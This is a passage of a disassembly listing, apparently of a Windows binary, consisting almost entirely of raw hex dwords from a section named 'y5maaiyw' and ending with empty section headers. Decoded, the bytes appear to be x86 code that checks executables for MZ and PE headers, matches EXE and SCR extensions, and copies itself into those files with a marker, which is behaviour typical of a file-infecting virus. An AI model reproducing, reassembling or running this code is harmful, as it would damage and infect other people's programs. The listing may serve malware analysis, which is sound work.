298589C9h, 51004028h, 1F685151h, 50000F00h, 246795FFh dd 0C0850040h, 230840Fh, 85890000h, 40282Dh, 384B8BC3h dd 5838B8h, 3D23300h, 0F7F1F7C1h, 358589E1h, 8B004028h dd 6B83C4Bh, 33000014h, 0F7C103D2h, 89E1F7F1h, 40283185h dd 0B70FC300h, 0E3F9064Bh, 18538D36h, 1443B70Fh, 6B49D003h dd 0D00328C1h, 775F3A81h, 74F96E69h, 7A83491Eh, 0DF72010Ch dd 8B3C4B8Bh, 42031442h, 48448D10h, 23D9F7FFh, 25853BC1h dd 0C3004028h, 24448B59h, 0B888890Ch, 33000000h, 0CF8BC3C0h dd 0BD8D0BEBh, 402709h, 33DF8BFCh, 613CACC9h, 7A3C0672h dd 202C0277h, 745C3CAAh, 742E3CECh, 75003CDDh, 8BC8E3E8h dd 58453D01h, 0B740045h, 5243533Dh, 49850F00h, 8BFFFFFFh dd 49573D03h, 840F434Eh, 0FFFFFF3Ch, 5543573Dh, 31840F4Eh dd 3DFFFFFFh, 32334357h, 0FF26840Fh, 503DFFFFh, 0F4F5453h dd 0FFFF1B84h, 0E8DB33FFh, 0FFFFFE43h, 0FF0E840Fh, 0D233FFFFh dd 16E8h, 0FF6EE800h, 0E8FFFFh, 5D000000h, 21B3ED81h, 0F9E90040h dd 64000000h, 0B58B32FFh, 40282Dh, 66228964h, 5A4D3E81h dd 0E2850Fh, 5E8B0000h, 66DE033Ch, 45503B81h, 0D2850Fh dd 43F70000h, 200016h, 0C5850F00h, 0F6000000h, 0F025C43h dd 0BB84h, 207E8100h, 20202020h, 0AE840Fh, 0CFE80000h dd 0FFFFFFEh, 0A382h, 0FE97E800h, 0A2E8FFFFh, 8B000000h dd 4028319Dh, 0FDB5E800h, 840FFFFFh, 88h, 282DB58Bh, 5E8B0040h dd 0E8DE033Ch, 0FFFFFE9Eh, 4A817672h, 6024h, 56FE8BE0h dd 8D147A03h, 401000B5h, 107A0300h, 501B9h, 0A5F35700h dd 2E303B1h, 5E5FA4F3h, 92310F52h, 155878Dh, 50880000h dd 0EECBE8FFh, 8B5AFFFFh, 4A030C4Ah, 5418D10h, 8928432Bh dd 46C71247h, 20202020h, 284B8920h, 8B104A8Bh, 40283185h dd 84A3900h, 4A890373h, 10420108h, 586383h, 2835858Bh dd 42010040h, 50430108h, 8B64D233h, 28F6422h, 11BD8358h dd 4028h, 0FDE2840Fh, 0B5FFFFFFh, 40282Dh, 248795FFh, 0B5FF0040h dd 402829h, 240795FFh, 8D8D0040h, 402815h, 281D958Dh, 52510040h dd 0B5FF006Ah, 402811h, 247F95FFh, 0B5FF0040h, 402811h dd 240795FFh, 0B58D0040h, 402709h, 280DB5FFh, 0FF560040h dd 40247B95h, 11A58300h, 4028h, 0E8C3h, 6A5D0000h, 2EED8101h dd 58004023h, 85C10FF0h, 401480h, 83C3C085h, 0FF0FFC8h dd 148085C1h, 3DC30040h, 2A0010h, 81661C75h, 6C0C247Ch dd 60137571h, 0FFFFC4E8h, 0E80575FFh, 0FFFFFDC2h, 0FFFFD2E8h dd 0FF2E61FFh, 3456782Dh, 0AAE86012h, 75FFFFFFh, 24448B39h dd 9B58D30h, 8B004027h, 81660850h, 7302063Ah, 685625h dd 8B00FF00h, 52006AC4h, 0B395FF50h, 83004024h, 3E8108C4h dd 5C3F3F5Ch, 0C6830375h, 0FD74E804h, 84E8FFFFh, 61FFFFFFh dd 25B8h, 2FB8C300h, 0E8000000h, 10h, 0B80020C2h, 30h dd 3E8h, 24C200h, 0C24548Dh, 0F8832ECDh, 60197C00h, 0E8h dd 24548B00h, 1A8B5D30h, 23F1ED81h, 4E80040h, 61FFFFF4h dd 470004C2h, 0AD7C809Bh, 317C8308h, 0A07C9103h, 7C80ADh dd 2 dup(0) dd 0B6000000h, 247C80BDh, 5C7C801Ah, 677C8094h, 2C7C8023h dd 377C8104h, 0F7C8106h, 587C864Bh, 3C7C80C0h, 777C8115h dd 457C810Ah, 0A17C831Ch, 0FF7C80B6h, 0CA7C8608h, 0DA7C835Dh dd 0DE7C8111h, 777C812Ah, 57C801Dh, 767C80B9h, 0E17C80BBh dd 0E57C8309h, 587C863Dh, 827C863Fh, 0B87C8127h, 427C831Ch dd 747C8024h, 517C80B9h, 877C809Ah, 607C810Dh, 827C90D4h dd 547C90D6h, 697C90D7h, 557C90D7h, 907C90DCh, 0B67C90DDh dd 327C90DEh, 0C67C90EAh, 7C9130h, 15D3h dup(0) db 3 dup(0) byte_10030E07 db 0 ; DATA XREF: sub_1001924A+13o align 200h y5maaiyw ends ; Section 10. (virtual address 00031000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00031000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 10031000h align 2000h _idata2 ends end start